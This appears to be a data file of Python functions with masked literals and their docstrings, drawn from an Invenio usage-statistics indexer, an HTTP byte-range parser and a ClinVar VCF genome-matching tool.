{"signature": "def flag_robots(doc):", "body": "doc['<STR_LIT>'] = '<STR_LIT>' in doc and is_robot(doc['<STR_LIT>'])<EOL>return doc<EOL>", "docstring": "Flag events which are created by robots.\n\n    The list of robots is defined by the `COUNTER-robots Python package\n    <https://github.com/inveniosoftware/counter-robots>`_ , which follows the\n    `list defined by Project COUNTER\n    <https://www.projectcounter.org/appendices/850-2/>`_ that was later split\n    into robots and machines by `the Make Data Count project\n    <https://github.com/CDLUC3/Make-Data-Count/tree/master/user-agents>`_.", "id": "f10409:m1"}
{"signature": "def flag_machines(doc):", "body": "doc['<STR_LIT>'] = '<STR_LIT>' in doc and is_machine(doc['<STR_LIT>'])<EOL>return doc<EOL>", "docstring": "Flag events which are created by machines.\n\n    The list of machines is defined by the `COUNTER-robots Python package\n    <https://github.com/inveniosoftware/counter-robots>`_ , which follows the\n    `list defined by Project COUNTER\n    <https://www.projectcounter.org/appendices/850-2/>`_ that was later split\n    into robots and machines by `the Make Data Count project\n    <https://github.com/CDLUC3/Make-Data-Count/tree/master/user-agents>`_.", "id": "f10409:m2"}
{"signature": "def hash_id(iso_timestamp, msg):", "body": "return '<STR_LIT>'.format(iso_timestamp,<EOL>hashlib.sha1(<EOL>msg.get('<STR_LIT>').encode('<STR_LIT:utf-8>') +<EOL>str(msg.get('<STR_LIT>')).<EOL>encode('<STR_LIT:utf-8>')).<EOL>hexdigest())<EOL>", "docstring": "Generate event id, optimized for ES.", "id": "f10409:m3"}
{"signature": "def __init__(self, queue, prefix='<STR_LIT>', suffix='<STR_LIT>', client=None,<EOL>preprocessors=None, double_click_window=<NUM_LIT:10>):", "body": "self.queue = queue<EOL>self.client = client or current_search_client<EOL>self.doctype = queue.routing_key<EOL>self.index = '<STR_LIT>'.format(prefix, self.queue.routing_key)<EOL>self.suffix = suffix<EOL>self.preprocessors = [<EOL>obj_or_import_string(preproc) for preproc in preprocessors<EOL>] if preprocessors is not None else self.default_preprocessors<EOL>self.double_click_window = double_click_window<EOL>", "docstring": "Initialize indexer.\n\n        :param prefix: prefix appended to elasticsearch indices' name.\n        :param suffix: suffix appended to elasticsearch indices' name.\n        :param double_click_window: time window during which similar events are\n            deduplicated (counted as one occurence).\n        :param client: elasticsearch client.\n        :param preprocessors: a list of functions which are called on every\n            event before it is indexed. Each function should return the\n            processed event. If it returns None, the event is filtered and\n            won't be indexed.", "id": "f10409:c0:m0"}
{"signature": "def actionsiter(self):", "body": "for msg in self.queue.consume():<EOL><INDENT>try:<EOL><INDENT>for preproc in self.preprocessors:<EOL><INDENT>msg = preproc(msg)<EOL>if msg is None:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if msg is None:<EOL><INDENT>continue<EOL><DEDENT>suffix = arrow.get(msg.get('<STR_LIT>')).strftime(self.suffix)<EOL>ts = parser.parse(msg.get('<STR_LIT>'))<EOL>ts = ts.replace(microsecond=<NUM_LIT:0>)<EOL>msg['<STR_LIT>'] = ts.isoformat()<EOL>if self.double_click_window > <NUM_LIT:0>:<EOL><INDENT>timestamp = mktime(utc.localize(ts).utctimetuple())<EOL>ts = ts.fromtimestamp(<EOL>timestamp // self.double_click_window *<EOL>self.double_click_window<EOL>)<EOL><DEDENT>yield dict(<EOL>_id=hash_id(ts.isoformat(), msg),<EOL>_op_type='<STR_LIT:index>',<EOL>_index='<STR_LIT>'.format(self.index, suffix),<EOL>_type=self.doctype,<EOL>_source=msg,<EOL>)<EOL><DEDENT>except Exception:<EOL><INDENT>current_app.logger.exception(u'<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "Iterator.", "id": "f10409:c0:m1"}
{"signature": "def run(self):", "body": "return elasticsearch.helpers.bulk(<EOL>self.client,<EOL>self.actionsiter(),<EOL>stats_only=True,<EOL>chunk_size=<NUM_LIT:50><EOL>)<EOL>", "docstring": "Process events queue.", "id": "f10409:c0:m2"}
{"signature": "def register_receivers(app, config):", "body": "for event_name, event_config in config.items():<EOL><INDENT>event_builders = [<EOL>obj_or_import_string(func)<EOL>for func in event_config.get('<STR_LIT>', [])<EOL>]<EOL>signal = obj_or_import_string(event_config['<STR_LIT>'])<EOL>signal.connect(<EOL>EventEmmiter(event_name, event_builders), sender=app, weak=False<EOL>)<EOL><DEDENT>", "docstring": "Register signal receivers which send events.", "id": "f10410:m0"}
{"signature": "def __init__(self, name, builders):", "body": "self.name = name<EOL>self.builders = builders<EOL>", "docstring": "Contructor.", "id": "f10410:c0:m0"}
{"signature": "def __call__(self, *args, **kwargs):", "body": "<EOL>try:<EOL><INDENT>if self.name in current_stats.events:<EOL><INDENT>event = {}<EOL>for builder in self.builders:<EOL><INDENT>event = builder(event, *args, **kwargs)<EOL>if event is None:<EOL><INDENT>return<EOL><DEDENT><DEDENT>current_stats.publish(self.name, [event])<EOL><DEDENT><DEDENT>except Exception:<EOL><INDENT>current_app.logger.exception(u'<STR_LIT>')<EOL><DEDENT>", "docstring": "Receive a signal and send an event.", "id": "f10410:c0:m1"}
{"signature": "@shared_task<EOL>def process_events(event_types):", "body": "results = []<EOL>for e in event_types:<EOL><INDENT>processor = current_stats.events[e].processor_class(<EOL>**current_stats.events[e].processor_config)<EOL>results.append((e, processor.run()))<EOL><DEDENT>return results<EOL>", "docstring": "Index statistics events.", "id": "f10411:m0"}
{"signature": "@shared_task<EOL>def aggregate_events(aggregations, start_date=None, end_date=None,<EOL>update_bookmark=True):", "body": "start_date = dateutil_parse(start_date) if start_date else None<EOL>end_date = dateutil_parse(end_date) if end_date else None<EOL>results = []<EOL>for a in aggregations:<EOL><INDENT>aggr_cfg = current_stats.aggregations[a]<EOL>aggregator = aggr_cfg.aggregator_class(<EOL>name=aggr_cfg.name, **aggr_cfg.aggregator_config)<EOL>results.append(aggregator.run(start_date, end_date, update_bookmark))<EOL><DEDENT>return results<EOL>", "docstring": "Aggregate indexed events.", "id": "f10411:m1"}
{"signature": "def get_anonymization_salt(ts):", "body": "salt_key = '<STR_LIT>'.format(ts.date().isoformat())<EOL>salt = current_cache.get(salt_key)<EOL>if not salt:<EOL><INDENT>salt_bytes = os.urandom(<NUM_LIT:32>)<EOL>salt = b64encode(salt_bytes).decode('<STR_LIT:utf-8>')<EOL>current_cache.set(salt_key, salt, timeout=<NUM_LIT> * <NUM_LIT> * <NUM_LIT>)<EOL><DEDENT>return salt<EOL>", "docstring": "Get the anonymization salt based on the event timestamp's day.", "id": "f10412:m0"}
{"signature": "def get_geoip(ip):", "body": "reader = geolite2.reader()<EOL>ip_data = reader.get(ip) or {}<EOL>return ip_data.get('<STR_LIT>', {}).get('<STR_LIT>')<EOL>", "docstring": "Lookup country for IP address.", "id": "f10412:m1"}
{"signature": "def get_user():", "body": "return dict(<EOL>ip_address=request.remote_addr,<EOL>user_agent=request.user_agent.string,<EOL>user_id=(<EOL>current_user.get_id() if current_user.is_authenticated else None<EOL>),<EOL>session_id=session.get('<STR_LIT>')<EOL>)<EOL>", "docstring": "User information.\n\n    .. note::\n\n       **Privacy note** A users IP address, user agent string, and user id\n       (if logged in) is sent to a message queue, where it is stored for about\n       5 minutes. The information is used to:\n\n       - Detect robot visits from the user agent string.\n       - Generate an anonymized visitor id (using a random salt per day).\n       - Detect the users host contry based on the IP address.\n\n       The information is then discarded.", "id": "f10412:m2"}
{"signature": "def obj_or_import_string(value, default=None):", "body": "if isinstance(value, six.string_types):<EOL><INDENT>return import_string(value)<EOL><DEDENT>elif value:<EOL><INDENT>return value<EOL><DEDENT>return default<EOL>", "docstring": "Import string or return object.\n\n    :params value: Import path or class object to instantiate.\n    :params default: Default object to return if the import fails.\n    :returns: The imported object.", "id": "f10412:m3"}
{"signature": "def load_or_import_from_config(key, app=None, default=None):", "body": "app = app or current_app<EOL>imp = app.config.get(key)<EOL>return obj_or_import_string(imp, default=default)<EOL>", "docstring": "Load or import value from config.\n\n    :returns: The loaded value.", "id": "f10412:m4"}
{"signature": "def default_permission_factory(query_name, params):", "body": "from invenio_stats import current_stats<EOL>if current_stats.queries[query_name].permission_factory is None:<EOL><INDENT>return AllowAllPermission<EOL><DEDENT>else:<EOL><INDENT>return current_stats.queries[query_name].permission_factory(<EOL>query_name, params<EOL>)<EOL><DEDENT>", "docstring": "Default permission factory.\n\n    It enables by default the statistics if they don't have a dedicated\n    permission factory.", "id": "f10412:m5"}
{"signature": "@app.cli.group()<EOL>def fixtures():", "body": "", "docstring": "Command for working with test data.", "id": "f10413:m0"}
{"signature": "@classmethod<EOL><INDENT>def parse_byteranges(cls, environ):<DEDENT>", "body": "r = []<EOL>s = environ.get(cls.header_range, '<STR_LIT>').replace('<STR_LIT:U+0020>','<STR_LIT>').lower()<EOL>if s:<EOL><INDENT>l = s.split('<STR_LIT:=>')<EOL>if len(l) == <NUM_LIT:2>:<EOL><INDENT>unit, vals = tuple(l)<EOL>if unit == '<STR_LIT>' and vals:<EOL><INDENT>gen_rng = ( tuple(rng.split('<STR_LIT:->')) for rng in vals.split('<STR_LIT:U+002C>') if '<STR_LIT:->' in rng )<EOL>for start, end in gen_rng:<EOL><INDENT>if start or end:<EOL><INDENT>r.append( (int(start) if start else None, int(end) if end else None) )<EOL><DEDENT><DEDENT><DEDENT><DEDENT><DEDENT>return r<EOL>", "docstring": "Outputs a list of tuples with ranges or the empty list\nAccording to the rfc, start or end values can be omitted", "id": "f10417:c1:m1"}
{"signature": "@classmethod<EOL><INDENT>def check_ranges(cls, ranges, length):<DEDENT>", "body": "result = []<EOL>for start, end in ranges:<EOL><INDENT>if isinstance(start, int) or isinstance(end, int):<EOL><INDENT>if isinstance(start, int) and not (<NUM_LIT:0> <= start < length):<EOL><INDENT>continue<EOL><DEDENT>elif isinstance(start, int) and isinstance(end, int) and not (start <= end):<EOL><INDENT>continue<EOL><DEDENT>elif start is None and end == <NUM_LIT:0>:<EOL><INDENT>continue<EOL><DEDENT>result.append( (start,end) )<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Removes errored ranges", "id": "f10417:c1:m2"}
{"signature": "@classmethod<EOL><INDENT>def convert_ranges(cls, ranges, length):<DEDENT>", "body": "result = []<EOL>for start, end in ranges:<EOL><INDENT>if end is None:<EOL><INDENT>result.append( (start, length-<NUM_LIT:1>) )<EOL><DEDENT>elif start is None:<EOL><INDENT>s = length - end<EOL>result.append( (<NUM_LIT:0> if s < <NUM_LIT:0> else s, length-<NUM_LIT:1>) )<EOL><DEDENT>else:<EOL><INDENT>result.append( (start, end if end < length else length-<NUM_LIT:1>) )<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Converts to valid byte ranges", "id": "f10417:c1:m3"}
{"signature": "@classmethod<EOL><INDENT>def condense_ranges(cls, ranges):<DEDENT>", "body": "result = []<EOL>if ranges:<EOL><INDENT>ranges.sort(key=lambda tup: tup[<NUM_LIT:0>])<EOL>result.append(ranges[<NUM_LIT:0>])<EOL>for i in range(<NUM_LIT:1>, len(ranges)):<EOL><INDENT>if result[-<NUM_LIT:1>][<NUM_LIT:1>] + <NUM_LIT:1> >= ranges[i][<NUM_LIT:0>]:<EOL><INDENT>result[-<NUM_LIT:1>] = (result[-<NUM_LIT:1>][<NUM_LIT:0>], max(result[-<NUM_LIT:1>][<NUM_LIT:1>], ranges[i][<NUM_LIT:1>]))<EOL><DEDENT>else:<EOL><INDENT>result.append(ranges[i])<EOL><DEDENT><DEDENT><DEDENT>return result<EOL>", "docstring": "Sorts and removes overlaps", "id": "f10417:c1:m4"}
{"signature": "def main():", "body": "parser = ArgumentParser()<EOL>parser.add_argument(<EOL>\"<STR_LIT:-c>\", \"<STR_LIT>\", dest=\"<STR_LIT>\",<EOL>help=\"<STR_LIT>\",<EOL>metavar=\"<STR_LIT>\")<EOL>parser.add_argument(<EOL>\"<STR_LIT>\", \"<STR_LIT>\", dest=\"<STR_LIT>\",<EOL>help=\"<STR_LIT>\" +<EOL>\"<STR_LIT>\" +<EOL>\"<STR_LIT>\",<EOL>metavar=\"<STR_LIT>\")<EOL>parser.add_argument(<EOL>\"<STR_LIT>\", \"<STR_LIT>\", dest=\"<STR_LIT>\",<EOL>help=\"<STR_LIT>\" +<EOL>\"<STR_LIT>\",<EOL>metavar=\"<STR_LIT>\")<EOL>parser.add_argument(<EOL>\"<STR_LIT>\", \"<STR_LIT>\", dest=\"<STR_LIT:type>\", default='<STR_LIT>',<EOL>help=\"<STR_LIT>\" +<EOL>\"<STR_LIT>\" +<EOL>\"<STR_LIT>\" +<EOL>\"<STR_LIT>\" +<EOL>\"<STR_LIT>\" +<EOL>\"<STR_LIT>\",<EOL>metavar=\"<STR_LIT>\")<EOL>parser.add_argument(<EOL>\"<STR_LIT>\", \"<STR_LIT>\", dest=\"<STR_LIT>\",<EOL>help=\"<STR_LIT>\",<EOL>metavar=\"<STR_LIT>\")<EOL>parser.add_argument(<EOL>\"<STR_LIT>\", \"<STR_LIT>\", dest=\"<STR_LIT>\",<EOL>help=\"<STR_LIT>\",<EOL>metavar=\"<STR_LIT>\")<EOL>options = parser.parse_args()<EOL>version = os.popen(\"<STR_LIT>\").read().strip()<EOL>if options.inputfile:<EOL><INDENT>if options.inputfile.endswith('<STR_LIT>'):<EOL><INDENT>input_genome_file = open(options.inputfile)<EOL><DEDENT>elif options.inputfile.endswith('<STR_LIT>'):<EOL><INDENT>input_genome_file = gzip.open(options.inputfile)<EOL><DEDENT>elif options.inputfile.endswith('<STR_LIT>'):<EOL><INDENT>input_genome_file = bz2.BZ2File(options.inputfile)<EOL><DEDENT>else:<EOL><INDENT>raise IOError(\"<STR_LIT>\" +<EOL>\"<STR_LIT>\")<EOL><DEDENT><DEDENT>elif not sys.stdin.isatty():<EOL><INDENT>input_genome_file = sys.stdin<EOL><DEDENT>else:<EOL><INDENT>sys.stderr.write(\"<STR_LIT>\")<EOL>parser.print_help()<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>if options.build and options.build in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>build = options.build<EOL><DEDENT>else:<EOL><INDENT>raise IOError(\"<STR_LIT>\")<EOL><DEDENT>if (not (options.clinvarfile or options.clinvardir) or<EOL>(options.clinvarfile and options.clinvardir)):<EOL><INDENT>sys.stderr.write(\"<STR_LIT>\")<EOL>parser.print_help()<EOL>sys.exit(<NUM_LIT:1>)<EOL><DEDENT>if options.clinvarfile:<EOL><INDENT>clinvarfilename = options.clinvarfile<EOL><DEDENT>elif options.clinvardir:<EOL><INDENT>clinvarfilename = get_latest_vcf_file(target_dir=options.clinvardir,<EOL>build=build)<EOL><DEDENT>if clinvarfilename.endswith('<STR_LIT>'):<EOL><INDENT>input_clinvar_file = open(options.clinvarfile)<EOL><DEDENT>elif clinvarfilename.endswith('<STR_LIT>'):<EOL><INDENT>input_clinvar_file = gzip.open(clinvarfilename)<EOL><DEDENT>elif clinvarfilename.endswith('<STR_LIT>'):<EOL><INDENT>input_clinvar_file = bz2.BZ2File(clinvarfilename)<EOL><DEDENT>else:<EOL><INDENT>raise IOError(\"<STR_LIT>\" +<EOL>\"<STR_LIT>\")<EOL><DEDENT>if options.type not in ['<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>raise IOError(\"<STR_LIT>\")<EOL><DEDENT>if options.type == \"<STR_LIT>\":<EOL><INDENT>csv_report(input_genome_file=input_genome_file,<EOL>input_clinvar_file=input_clinvar_file,<EOL>build=build,<EOL>version=version)<EOL><DEDENT>elif options.type == \"<STR_LIT>\":<EOL><INDENT>notes_json = {}<EOL>if options.notes:<EOL><INDENT>notes_json[\"<STR_LIT>\"] = options.notes<EOL>try:<EOL><INDENT>notes_json = json.loads(options.notes)<EOL><DEDENT>except:<EOL><INDENT>sys.stderr.write(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>json_report(input_genome_file=input_genome_file,<EOL>input_clinvar_file=input_clinvar_file,<EOL>build=build,<EOL>notes=notes_json,<EOL>version=version)<EOL><DEDENT>", "docstring": "Parse command line argument and\noutput appropriate file type (csv or JSON)", "id": "f10418:m2"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "(self.clnalleleid, self.hgvs, self.clnsig,<EOL>self.clndn, self.clndisdb, self.clnvi) = [<EOL>kwargs[x] for x in<EOL>['<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>']]<EOL>super(ClinVarAllele, self).__init__(*args, **kwargs)<EOL>", "docstring": "Initialize ClinVarAllele object\n\nA ClinVarAllele is an allele for a genomic position that has data\nfrom ClinVar associated with it.\n\nRequired arguments:\nsequence:  String of DNA letters (A, C, G, or T) for the allele;\n           may be empty (to represent a deletion)\nfrequency: Preferred allele frequency\nalleleid:  ClinVar Allele ID\nclnhgvs:   HGVS nomenclature for this allele\nclnsig:    ClinVar clinical significance\nclndn:     ClinVar disease name\nclndisdb:  Database IDs of disease database entries (tag-value pairs)\nclnvi:     Database IDs of clinical sources (tag-value pairs)", "id": "f10419:c0:m0"}
{"signature": "def as_dict(self, *args, **kwargs):", "body": "self_as_dict = super(ClinVarAllele, self).as_dict(*args, **kwargs)<EOL>self_as_dict['<STR_LIT>'] = self.hgvs<EOL>self_as_dict['<STR_LIT>'] = self.clnalleleid<EOL>self_as_dict['<STR_LIT>'] = self.clnsig<EOL>self_as_dict['<STR_LIT>'] = self.clndn<EOL>self_as_dict['<STR_LIT>'] = self.clndisdb<EOL>self_as_dict['<STR_LIT>'] = self.clnvi<EOL>return self_as_dict<EOL>", "docstring": "Return ClinVarAllele data as dict object.", "id": "f10419:c0:m1"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "kwargs['<STR_LIT>'] = False<EOL>super(ClinVarVCFLine, self).__init__(self, *args, **kwargs)<EOL>", "docstring": "Initialize ClinVarVCFLine with VCF line", "id": "f10419:c1:m0"}
{"signature": "def as_dict(self):", "body": "return {'<STR_LIT>': self.chrom,<EOL>'<STR_LIT:start>': self.start,<EOL>'<STR_LIT>': self.ref_allele,<EOL>'<STR_LIT>': self.alt_alleles,<EOL>'<STR_LIT:info>': self.info,<EOL>'<STR_LIT>': [x.as_dict() for x in self.alleles]}<EOL>", "docstring": "Dict representation of parsed ClinVar VCF line", "id": "f10419:c1:m1"}
{"signature": "def _parse_frequencies(self):", "body": "frequencies = OrderedDict([<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>')])<EOL>pref_freq = '<STR_LIT>'<EOL>for source in frequencies.keys():<EOL><INDENT>freq_key = '<STR_LIT>' + source<EOL>if freq_key in self.info:<EOL><INDENT>frequencies[source] = self.info[freq_key]<EOL>if pref_freq == '<STR_LIT>':<EOL><INDENT>pref_freq = frequencies[source]<EOL><DEDENT><DEDENT><DEDENT>return pref_freq, frequencies<EOL>", "docstring": "Parse frequency data in ClinVar VCF", "id": "f10419:c1:m2"}
{"signature": "def _parse_allele_data(self):", "body": "<EOL>pref_freq, frequencies = self._parse_frequencies()<EOL>info_clnvar_single_tags = ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']<EOL>cln_data = {x.lower(): self.info[x] if x in self.info else None<EOL>for x in info_clnvar_single_tags}<EOL>cln_data.update(<EOL>{'<STR_LIT>': [x.split('<STR_LIT:U+002C>') for x in<EOL>self.info['<STR_LIT>'].split('<STR_LIT:|>')]<EOL>if '<STR_LIT>' in self.info else []})<EOL>cln_data.update({'<STR_LIT>': self.info['<STR_LIT>'].split('<STR_LIT:|>') if<EOL>'<STR_LIT>' in self.info else []})<EOL>cln_data.update({'<STR_LIT>': self.info['<STR_LIT>'].split('<STR_LIT:U+002C>')<EOL>if '<STR_LIT>' in self.info else []})<EOL>try:<EOL><INDENT>sequence = self.alt_alleles[<NUM_LIT:0>]<EOL><DEDENT>except IndexError:<EOL><INDENT>sequence = self.ref_allele<EOL><DEDENT>allele = ClinVarAllele(frequency=pref_freq, sequence=sequence,<EOL>**cln_data)<EOL>if not cln_data['<STR_LIT>']:<EOL><INDENT>return []<EOL><DEDENT>return [allele]<EOL>", "docstring": "Parse alleles for ClinVar VCF, overrides parent method.", "id": "f10419:c1:m3"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "sequence = kwargs['<STR_LIT>']<EOL>if '<STR_LIT>' in kwargs:<EOL><INDENT>frequency = kwargs['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>frequency = '<STR_LIT>'<EOL><DEDENT>if not (re.match(r'<STR_LIT>', sequence) or<EOL>re.match(r'<STR_LIT>', sequence)):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>self.sequence = sequence<EOL>if frequency:<EOL><INDENT>try:<EOL><INDENT>if (float(frequency) < <NUM_LIT:0.0> or<EOL>float(frequency) > <NUM_LIT:1.0>):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT>except ValueError:<EOL><INDENT>if not frequency == '<STR_LIT>':<EOL><INDENT>raise ValueError('<STR_LIT>' +<EOL>'<STR_LIT>' +<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>self.frequency = frequency<EOL><DEDENT>", "docstring": "Initialize Allele object\n\nRequired arguments:\nsequence:  Short string of DNA letters (ACGT) for the allele.\n           May be empty (to represent a deletion).\n\nOptional arguments:\nfrequency: a string representation of a float between 0 and 1", "id": "f10420:c0:m0"}
{"signature": "def __unicode__(self):", "body": "return self.as_json()<EOL>", "docstring": "Print Allele object as dict object data.", "id": "f10420:c0:m1"}
{"signature": "def __str__(self):", "body": "return self.as_json()<EOL>", "docstring": "Print Allele object as dict object data.", "id": "f10420:c0:m2"}
{"signature": "def as_dict(self):", "body": "self_as_dict = dict()<EOL>self_as_dict['<STR_LIT>'] = self.sequence<EOL>if hasattr(self, '<STR_LIT>'):<EOL><INDENT>self_as_dict['<STR_LIT>'] = self.frequency<EOL><DEDENT>return self_as_dict<EOL>", "docstring": "Return Allele data as dict object.", "id": "f10420:c0:m3"}
{"signature": "def as_json(self):", "body": "return json.dumps(self.as_dict())<EOL>", "docstring": "Print Allele object as JSON.", "id": "f10420:c0:m4"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "vcf_line = kwargs['<STR_LIT>']<EOL>skip_info = ('<STR_LIT>' in kwargs and kwargs['<STR_LIT>'])<EOL>vcf_fields = vcf_line.strip().split('<STR_LIT:\\t>')<EOL>self.chrom = vcf_fields[<NUM_LIT:0>]<EOL>self.start = int(vcf_fields[<NUM_LIT:1>])<EOL>self.ref_allele = vcf_fields[<NUM_LIT:3>]<EOL>if vcf_fields[<NUM_LIT:4>] == '<STR_LIT:.>':<EOL><INDENT>self.alt_alleles = []<EOL><DEDENT>else:<EOL><INDENT>self.alt_alleles = vcf_fields[<NUM_LIT:4>].split('<STR_LIT:U+002C>')<EOL><DEDENT>if not skip_info:<EOL><INDENT>self.info = self._parse_info(vcf_fields[<NUM_LIT:7>])<EOL><DEDENT>self.alleles = self._parse_allele_data()<EOL>", "docstring": "Store data from a VCF line.", "id": "f10420:c1:m0"}
{"signature": "def _parse_allele_data(self):", "body": "return [Allele(sequence=x) for x in<EOL>[self.ref_allele] + self.alt_alleles]<EOL>", "docstring": "Create list of Alleles from VCF line data", "id": "f10420:c1:m1"}
{"signature": "def _parse_info(self, info_field):", "body": "info = dict()<EOL>for item in info_field.split('<STR_LIT:;>'):<EOL><INDENT>info_item_data = item.split('<STR_LIT:=>')<EOL>if len(info_item_data) == <NUM_LIT:1>:<EOL><INDENT>info[info_item_data[<NUM_LIT:0>]] = True<EOL><DEDENT>elif len(info_item_data) == <NUM_LIT:2>:<EOL><INDENT>info[info_item_data[<NUM_LIT:0>]] = info_item_data[<NUM_LIT:1>]<EOL><DEDENT><DEDENT>return info<EOL>", "docstring": "Parse the VCF info field", "id": "f10420:c1:m2"}
{"signature": "def __str__(self):", "body": "return json.dumps(self.as_dict(), ensure_ascii=True)<EOL>", "docstring": "String representation of parsed VCF data", "id": "f10420:c1:m3"}
{"signature": "def as_dict(self):", "body": "self_as_dict = {'<STR_LIT>': self.chrom,<EOL>'<STR_LIT:start>': self.start,<EOL>'<STR_LIT>': self.ref_allele,<EOL>'<STR_LIT>': self.alt_alleles,<EOL>'<STR_LIT>': [x.as_dict() for x in self.alleles]}<EOL>try:<EOL><INDENT>self_as_dict['<STR_LIT:info>'] = self.info<EOL><DEDENT>except AttributeError:<EOL><INDENT>pass<EOL><DEDENT>return self_as_dict<EOL>", "docstring": "Dict representation of parsed VCF data", "id": "f10420:c1:m4"}
{"signature": "@staticmethod<EOL><INDENT>def get_pos(vcf_line):<DEDENT>", "body": "if not vcf_line:<EOL><INDENT>return None<EOL><DEDENT>vcf_data = vcf_line.strip().split('<STR_LIT:\\t>')<EOL>return_data = dict()<EOL>return_data['<STR_LIT>'] = CHROM_INDEX[vcf_data[<NUM_LIT:0>]]<EOL>return_data['<STR_LIT>'] = int(vcf_data[<NUM_LIT:1>])<EOL>return return_data<EOL>", "docstring": "Very lightweight parsing of a vcf line to get position.\n\nReturns a dict containing:\n'chrom': index of chromosome (int), indicates sort order\n'pos': position on chromosome (int)", "id": "f10420:c1:m5"}
{"signature": "def match_to_clinvar(genome_file, clin_file):", "body": "clin_curr_line = _next_line(clin_file)<EOL>genome_curr_line = _next_line(genome_file)<EOL>while clin_curr_line.startswith('<STR_LIT:#>'):<EOL><INDENT>clin_curr_line = _next_line(clin_file)<EOL><DEDENT>while genome_curr_line.startswith('<STR_LIT:#>'):<EOL><INDENT>genome_curr_line = _next_line(genome_file)<EOL><DEDENT>while clin_curr_line and genome_curr_line:<EOL><INDENT>clin_curr_pos = VCFLine.get_pos(clin_curr_line)<EOL>genome_curr_pos = VCFLine.get_pos(genome_curr_line)<EOL>try:<EOL><INDENT>if clin_curr_pos['<STR_LIT>'] > genome_curr_pos['<STR_LIT>']:<EOL><INDENT>genome_curr_line = _next_line(genome_file)<EOL>continue<EOL><DEDENT>elif clin_curr_pos['<STR_LIT>'] < genome_curr_pos['<STR_LIT>']:<EOL><INDENT>clin_curr_line = _next_line(clin_file)<EOL>continue<EOL><DEDENT>if clin_curr_pos['<STR_LIT>'] > genome_curr_pos['<STR_LIT>']:<EOL><INDENT>genome_curr_line = _next_line(genome_file)<EOL>continue<EOL><DEDENT>elif clin_curr_pos['<STR_LIT>'] < genome_curr_pos['<STR_LIT>']:<EOL><INDENT>clin_curr_line = _next_line(clin_file)<EOL>continue<EOL><DEDENT><DEDENT>except StopIteration:<EOL><INDENT>break<EOL><DEDENT>genome_vcf_line = GenomeVCFLine(vcf_line=genome_curr_line,<EOL>skip_info=True)<EOL>if not genome_vcf_line.genotype_allele_indexes:<EOL><INDENT>genome_curr_line = _next_line(genome_file)<EOL>continue<EOL><DEDENT>clinvar_vcf_line = ClinVarVCFLine(vcf_line=clin_curr_line)<EOL>if not genome_vcf_line.ref_allele == clinvar_vcf_line.ref_allele:<EOL><INDENT>try:<EOL><INDENT>genome_curr_line = _next_line(genome_file)<EOL>clin_curr_line = _next_line(clin_file)<EOL>continue<EOL><DEDENT>except StopIteration:<EOL><INDENT>break<EOL><DEDENT><DEDENT>genotype_allele_indexes = genome_vcf_line.genotype_allele_indexes<EOL>genome_alleles = [genome_vcf_line.alleles[x] for<EOL>x in genotype_allele_indexes]<EOL>if len(genome_alleles) == <NUM_LIT:1>:<EOL><INDENT>zygosity = '<STR_LIT>'<EOL><DEDENT>elif len(genome_alleles) == <NUM_LIT:2>:<EOL><INDENT>if genome_alleles[<NUM_LIT:0>].sequence == genome_alleles[<NUM_LIT:1>].sequence:<EOL><INDENT>zygosity = '<STR_LIT>'<EOL>genome_alleles = [genome_alleles[<NUM_LIT:0>]]<EOL><DEDENT>else:<EOL><INDENT>zygosity = '<STR_LIT>'<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>' +<EOL>'<STR_LIT>' +<EOL>'<STR_LIT>' +<EOL>str(genome_vcf_line))<EOL><DEDENT>for genome_allele in genome_alleles:<EOL><INDENT>for allele in clinvar_vcf_line.alleles:<EOL><INDENT>if genome_allele.sequence == allele.sequence:<EOL><INDENT>if hasattr(allele, '<STR_LIT>'):<EOL><INDENT>yield (genome_vcf_line, allele, zygosity)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>try:<EOL><INDENT>genome_curr_line = _next_line(genome_file)<EOL>clin_curr_line = _next_line(clin_file)<EOL><DEDENT>except StopIteration:<EOL><INDENT>break<EOL><DEDENT><DEDENT>", "docstring": "Match a genome VCF to variants in the ClinVar VCF file\n\nActs as a generator, yielding tuples of:\n(ClinVarVCFLine, ClinVarAllele, zygosity)\n\n'zygosity' is a string and corresponds to the genome's zygosity for that\nClinVarAllele. It can be either: 'Het' (heterozygous), 'Hom' (homozygous),\nor 'Hem' (hemizygous, e.g. X chromosome in XY individuals).", "id": "f10421:m1"}
{"signature": "def nav_to_vcf_dir(ftp, build):", "body": "if build == '<STR_LIT>':<EOL><INDENT>ftp.cwd(DIR_CLINVAR_VCF_B37)<EOL><DEDENT>elif build == '<STR_LIT>':<EOL><INDENT>ftp.cwd(DIR_CLINVAR_VCF_B38)<EOL><DEDENT>else:<EOL><INDENT>raise IOError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Navigate an open ftplib.FTP to appropriate directory for ClinVar VCF files.\n\nArgs:\n    ftp:   (type: ftplib.FTP) an open connection to ftp.ncbi.nlm.nih.gov\n    build: (type: string) genome build, either 'b37' or 'b38'", "id": "f10422:m0"}
